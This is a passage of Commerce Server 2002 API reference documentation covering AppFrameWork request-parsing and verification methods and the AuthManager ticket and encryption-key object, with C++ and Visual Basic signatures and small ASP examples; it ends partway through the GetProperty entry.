[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

If this method completes successfully it returns a number that represents the value of the specified string in the base monetary unit of the specified local. Thus, given a value in US dollars, it returns the number of cents in that value.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' In the following example, the value of a field on the purchase
' form (filled out by the customer) is read into the
' variable list_price.

<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="list_price">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' The vtMax argument is the upper limit
' of a Variant variable. Using this value as the upper limit and
' zero (0) as the lower limit of the range check ensures that
' the value is not negative:
list_price = oAppFrameWork .RequestMoneyAsNumber("list_price", 0, 0, _
    2147483647)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertMoneyStringToNumber

[C++] IDataFunctions_4_0::Money

[C++] IAppFrameWork::RequestFloat

[C++] IAppFrameWork::RequestNumber

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertMoneyStringToNumber

[Visual Basic] DataFunctions.Money

[Visual Basic] AppFrameWork.RequestFloat

[Visual Basic] AppFrameWork.RequestNumber


IAppFrameWork::RequestNumber Method [C++]

AppFrameWork.RequestNumber Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a number based on the specified or default locale.

Optionally, the RequestNumber method checks the converted number against the specified range and validates it based on the specified locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestNumber(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestNumber(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number value that specifies the low end of the range against which to validate the converted value. If the converted value is less than vtMin, then NULL is returned. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process.
vtMin [Visual Basic]
A Variant that contains the number value that specifies the low end of the range against which to validate the converted value. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number value that specifies the high end of the range against which to validate the converted value. If the converted value is greater than vtMax, then NULL is returned. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process.
vtMax [Visual Basic]
A Variant that contains the number value that specifies the high end of the range against which to validate the converted value. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestNumber method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestNumber method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted number. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted number. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' In the following example, the value of a field on the purchase
' form (filled out by the customer) is read into the
' variable cc_expmonth.

<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="_cc_expmonth">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' Because the Default parameter is specified
' as 7, the RequestNumber method will return 7 if the field is empty
' or missing.
cc_expmonth = oAppFrameWork.RequestNumber("_cc_expmonth",7, 1, 12)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IAppFrameWork::RequestFloat

[C++] IDataFunctions_4_0::ConvertNumberString

[C++] IDataFunctions_4_0::Number

[C++] IDataFunctions_4_0::ValidateNumber

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] AppFrameWork.RequestFloat

[Visual Basic] DataFunctions.ConvertNumberString

[Visual Basic] DataFunctions.Number

[Visual Basic] DataFunctions.ValidateNumber


IAppFrameWork::RequestString Method [C++]

AppFrameWork.RequestString Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and perform string processing on it.

Definition

[C++]
HRESULT IAppFrameWork::RequestString(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtStripWhite,
  VARIANT vtStripReturn,
  VARIANT vtCase,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestString(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtStripWhite As Variant,
  Optional vtStripReturn As Variant,
  Optional vtCase As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the string to return if the specified URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the string to return if the specified URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number that indicates the minimum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMin parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameters is not in range, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains the number that indicates the minimum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMin parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameters is not in range, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number that indicates the maximum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameters is not in range, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the number that indicates the maximum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameters is not in range, the method returns NULL. This parameter is optional.
vtStripWhite [C++]
[in, optional] A VARIANT that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the string. The default value is True.
vtStripWhite [Visual Basic]
A Variant that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the string. The default value is True. This parameter is optional.
vtStripReturn [C++]
[in, optional] A VARIANT that contains a Boolean value that indicates whether carriage returns should be stripped from the string. The default value is True.
vtStripReturn [Visual Basic]
A Variant that contains a Boolean value that indicates whether carriage returns should be stripped from the string. The default value is True. This parameter is optional.
vtCase [C++]
[in, optional] A VARIANT that contains the number that indicates the case to which the string should be converted. The default value is zero (0), which results in no modification to the case of the string. If the vtCase parameter is one (1), the string is converted to uppercase. If the vtCase parameter is two (2), the string is converted to lowercase.
vtCase [Visual Basic]
A Variant that contains the number that indicates the case to which the string should be converted. The default value is zero (0), which results in no modification to the case of the string. If the vtCase parameter is one (1), the string is converted to uppercase. If the vtCase parameter is two (2), the string is converted to lowercase. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to be used as the basis of the conversion. If this value is not specified, the RequestString method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to be used as the basis of the conversion. If this value is not specified, the RequestString method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the processed string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

This method can optionally perform several types of string processing. It can trim leading and trailing white space (space and tab characters) from the string. It can remove carriage returns from the string. It can convert the string to upper- or lowercase.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' vString is a Variant.
' This example assumes that the string value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="String">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the string into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestString method as follows:
vString = oAppFrameWork.RequestString("String", "Default String", _
    1, 100, True, True, 0, 1033)
' In this example, the string is checked to ensure that it contains
' between 1 and 100 characters; all leading and trailing white
' spaces are removed, all carriage returns are removed, no
' modification is made to character case, and the string is
' converted according to the locale 1033. If no string is
' input, the string "Default String" will be loaded into the
' variable vString.

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale


IAppFrameWork::RequestTime Method [C++]

AppFrameWork.RequestTime Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert the string to a Date Variant, based on the specified or default locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestTime(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestTime(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post-variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the string to return if the specified URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Date values.
vtDefault [Visual Basic]
A Variant that contains the string to return if the specified URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Date values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the time value that specifies the low end of the range against which to validate the bstrName parameter. If the VARIANT is of type vtMissing, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains the time value that specifies the low end of the range against which to validate the bstrName parameter. The default is no low-end validation. This parameter is optional. If the converted value is less than vtMin, then NULL is returned.
vtMax [C++]
[in, optional] A VARIANT that contains the time value that specifies the high end of the range against which to validate the bstrName parameter. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that contains the time value that specifies the high end of the range against which to validate the bstrName parameter. The default is no high-end validation. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the DateTime value. If this value is not specified, the RequestTime method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the DateTime value. If this value is not specified, the RequestTime method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the date. If any validation fails, the value will be set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the date. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' This example assumes that the time value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Time">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the date into the form and clicks
' the Send Info button, the value of this form field can
' be retrieved by the RequestTime method as follows:
vTime = oAppFrameWork.RequestTime("Time", "12:00:01 AM", _
    "12:00:01 AM", "11:59:59 PM", 1033)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertTimeString

[C++] IAppFrameWork::RequestDate

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertTimeString

[Visual Basic] AppFrameWork.RequestDate


IAppFrameWork::VerifyWith Method [C++]

AppFrameWork.VerifyWith Method [Visual Basic]

Use this method to generate hidden input fields that contain verification values.

Definition

[C++]
HRESULT IAppFrameWork::VerifyWith(
  IDispatch* pdispOrder,
  SAFEARRAY(VARIANT) pParams,
  BSTR* pbstrRet
);
[Visual Basic]
Function VerifyWith(
  pdispOrder As Object
  pParams As Variant
) As Variant

Parameters

pdispOrder [C++]
[in] A pointer to the IDispatch interface that can be used to retrieve the OrderForm object that contains the fields to verify.
pdispOrder [Visual Basic]
An object reference to the OrderForm object that contains the fields to verify.
pParams [C++]
[in] A SAFEARRAY that contains a list of field names to verify in the supplied OrderForm object.
pParams [Visual Basic]
A variable list of arguments of type VARIANT, that contain the field names to verify in the supplied OrderForm object.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the HTML tags.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the HTML tags.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

Use this method to output HTML tags in the form <INPUT TYPE="HIDDEN"> in an HTML form. These hidden fields contain specified values from the OrderForm object to be used to verify that an order has not been altered between presentation of the OrderForm object and final purchase.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' The following example generates hidden fields containing
' the values stored in the _total_total,and _tax_total fields
' of the supplied OrderForm object:
<FORM METHOD="POST"
    ACTION="http://example.microsoft.com/xt_orderform_purchase.asp">
    <% = oAppFrameWork.VerifyWith(mscsOrderForm, "_total_total", _
 "_tax_total") %>
' When the page containing this call is loaded in the client
' browser, the document source for the page would contain the
' following HTML script (assuming a total of 138.95 and a tax
' of 8.75):
<FORM METHOD="POST"
ACTION="http://example.microsoft.com/xt_orderform_purchase.asp">
<INPUT TYPE=HIDDEN NAME="_VERIFY_WITH" VALUE="_total_total=13895">
<INPUT TYPE=HIDDEN NAME="_VERIFY_WITH" VALUE="_tax_total=875">

See Also

[C++] AppFrameWork Object

[C++] OrderForm Object

[Visual Basic] AppFrameWork Object

[Visual Basic] OrderForm Object


IAppFrameWork::VirtualDirectory Method [C++]

AppFrameWork.VirtualDirectory Method [Visual Basic]

Use this method to return the name of the virtual directory for the site.

Definition

[C++]
HRESULT IAppFrameWork::VirtualDirectory(
  BSTR* pbstrRet
);
[Visual Basic]
Function VirtualDirectory() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the site virtual directory.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the site virtual directory.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AppFrameWork Object

[C++] StandardSManager Object

[Visual Basic] AppFrameWork Object

[Visual Basic] StandardSManager Object


AuthManager Object [C++]

AuthManager Object [Visual Basic]

Use this object to perform user identification and authentication and to manage user security information. This object also contains methods for browsing with and without cookies.

ProgID: | Commerce.AuthManager (Externally creatable)
COM Class Name: | MSCSAuthManager
Type Library Name: | Microsoft Commerce 2002 AuthManager 2.0 Type Library
DLL Name: | mscsauth.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMSCSAuthManager2
Interface ID Constant: | IID_IMSCSAuthManager
Header File: | MSCSAuth.h
[C++]

The AuthManager object is primarily intended to be used through ASP script. However, the following methods are available in C++ through the IMSCSAuthManager interface when the MSCSAuthManager object is instantiated outside of an ASP script: GenerateEncryptionKey, GetUserIDFromCookie, GetUserIDFromCookieAndKey, Initialize, Refresh, and UnInitialize.

Once any AuthManager object instance has been successfully initialized withing an ASP or ASP.NET site, any further instances of the AuthManager object initiailized within that site use the cached resources as loaded by the first call to the Initialize method. Therefore, even if a different value for the SiteName parameter is used, the AuthManager object will still be configured to run using the site configuration specified in the first call to the Initialize method. In other words, within a single ASP or ASP.NET site you can run an AuthManager object against the resource configuration of a single site but never multiple sites.

[Visual Basic]

The AuthManager object is primarily intended to be used through ASP script. However, the following methods are available in Visual Basic when the MSCSAuthManager object is instantiated outside of an ASP script: GenerateEncryptionKey, GetUserIDFromCookie, GetUserIDFromCookieAndKey, Initialize, Refresh, and UnInitialize.

Once any AuthManager object instance has been successfully initialized withing an ASP or ASP.NET site, any further instances of the AuthManager object initiailized within that site use the cached resources as loaded by the first call to the Initialize method. Therefore even if a different value for the SiteName parameter is used, the AuthManager object will still be configured to run using the site configuration specified in the first call to the Initialize method. In other words, within a single ASP or ASP.NET site you can run an AuthManager object against the resource configuration of a single site but never multiple sites.

Methods

[C++]
Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administrative or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a URL containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves the user ID from a cookie.
GetUserIDFromCookieAndKey | Retrieves the user ID from a cookie and the encryption key.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket | Generates an encrypted MSCSProfile ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates a URL-encoded query string from arrays of parameter names and values.
URLShopperArgs | Generates an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.
[Visual Basic]
Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administration or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a Uniform Resource Locator (URL) containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves the user ID from a cookie.
GetUserIDFromCookieAndKey | Retrieves the user ID from a cookie and the encryption key.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket | Generates an encrypted MSCSProfile ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates a URL-encoded query string from arrays of parameter names and values.
URLShopperArgs | Generates an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.

Remarks

The AuthManager object identifies users and gathers information used for user authentication. The methods and properties of this object control and access the contents of cookies and encoded URL strings.

In the Commerce Server 2002 context, authentication uses tickets. A ticket is a string of property/value pairs that provide information about the user. Two types of tickets are supported. An authentication ticket, named MSCSAuth, is used for registered users while a profile ticket, named MSCSProfile, is used for anonymous users. In this context, "registered" means a user who has provided information to a site that can be used for identification.

A user may have both types of tickets. In this case, the MSCSAuth ticket takes precedence.

A ticket contains a unique user ID, and for authentication tickets, the time of last login and a time window. For an anonymous user who allows cookies, the MSCSProfile ticket is stored on the local computer of the user as a persistent cookie. For a registered user who allows cookies, the MSCSAuth ticket is stored in a session cookie and is valid for the duration of the session or a specified time window, and then is deleted.

If the user does not allow cookies, the ticket is placed in an encoded URL string. The URL string may be used to pass user information between pages and sites, provided all the URLs and query strings are generated by the AuthManager object.

The AuthManager object provides a transparent interface to the tickets, whether they are stored in cookies or in URL query strings, and handles encryption and decryption of the tickets to ensure security.

The AuthManager object is intended to be used only through Active Server Pages (ASP) since it depends on ASP intrinsic objects. Do not create the AuthManager object in application scope as it has dependencies on individual user ,sessions. The AuthManager object should be created and destroyed on each ASP page.

The methods GetUserIDFromCookie, GetUserIDFromCookieAndKey, and GenerateEncryptionKey facilitate rolling key encryption functionality. For more information about this feature, see Rolling Key Encryption for Authentication Tickets.

Any operation that requires decryption of the ticket will fail if you change the encryption key. One important instance of this behavior is with profile tickets, because they are persisted on the client computer. Hence when a user with a persisted profile ticket that was encrypted with the old key comes back to the site, AuthManager is not be able to decrypt this ticket. For more information about this issue, see Rolling Key Encryption for Authentication Tickets.

See Also

Core Objects


IMSCSAuthManager2 Methods [C++]

AuthManager Methods [Visual Basic]

Methods

[C++]
Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administrative or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a URL containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves the user ID from a cookie.
GetUserIDFromCookieAndKey | Retrieves the user ID from a cookie and the encryption key.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket | Generates an encrypted MSCSProfile ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates a URL-encoded query string from arrays of parameter names and values.
URLShopperArgs | Generates a URL-encoded query string from arrays of parameter names and values and appends the ticket of the user to the string.
[Visual Basic]
Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administration or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a Uniform Resource Locator (URL) containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves the user ID from a cookie.
GetUserIDFromCookieAndKey | Retrieves the user ID from a cookie and the encryption key.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket | Generates an encrypted MSCSProfile ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates a URL-encoded query string from arrays of parameter names and values.
URLShopperArgs | Generates a URL-encoded query string from arrays of parameter names and values and appends the ticket of the user to the string.


IMSCSAuthManager2::GenerateEncryptionKey Method [C++]

AuthManager.GenerateEncryptionKey Method [Visual Basic]

Use this method to generate an encryption key for encrypting/decrypting cookie and query string data used for tickets.

Definition

[C++]
HRESULT IMSCSAuthManager::GenerateEncryptionKey(
  BSTR* pbstrRet
);
[Visual Basic]
Function GenerateEncryptionKey() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return a copy of the encryption key.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encryption key.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_GENERATE_ENCRYPTIONKEY_FAILED | [C++] 0xC1004C26 [Visual Basic] &HC1004C26 | An error occurred while generating the encryption key using CryptoAPI, the Windows API that supports encryption features.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The pbstrRet parameter contains valid data only if the method completes successfully.

This method is one of the few AuthManager methods used in C++ applications.

This method is used by Commerce Server setup and Commerce Server Site Packager components during installation, and can be used to change the encryption key at a later time.

The encryption key is stored as part of the site configuration resource properties in the Administrative database.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

sEncryptionKey = oAuthManager.GenerateEncryptionKey()

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::GetProperty Method [C++]

AuthManager.GetProperty Method [Visual Basic]

Use this method to retrieve the value of the specified custom property from the current user ticket.

Definition

[C++]
HRESULT IMSCSAuthManager::GetProperty(
  EnumMSCS_TicketType enumTicketType,
  BSTR propName,
  VARIANT* pVarCustomPropVal
);
[Visual Basic]
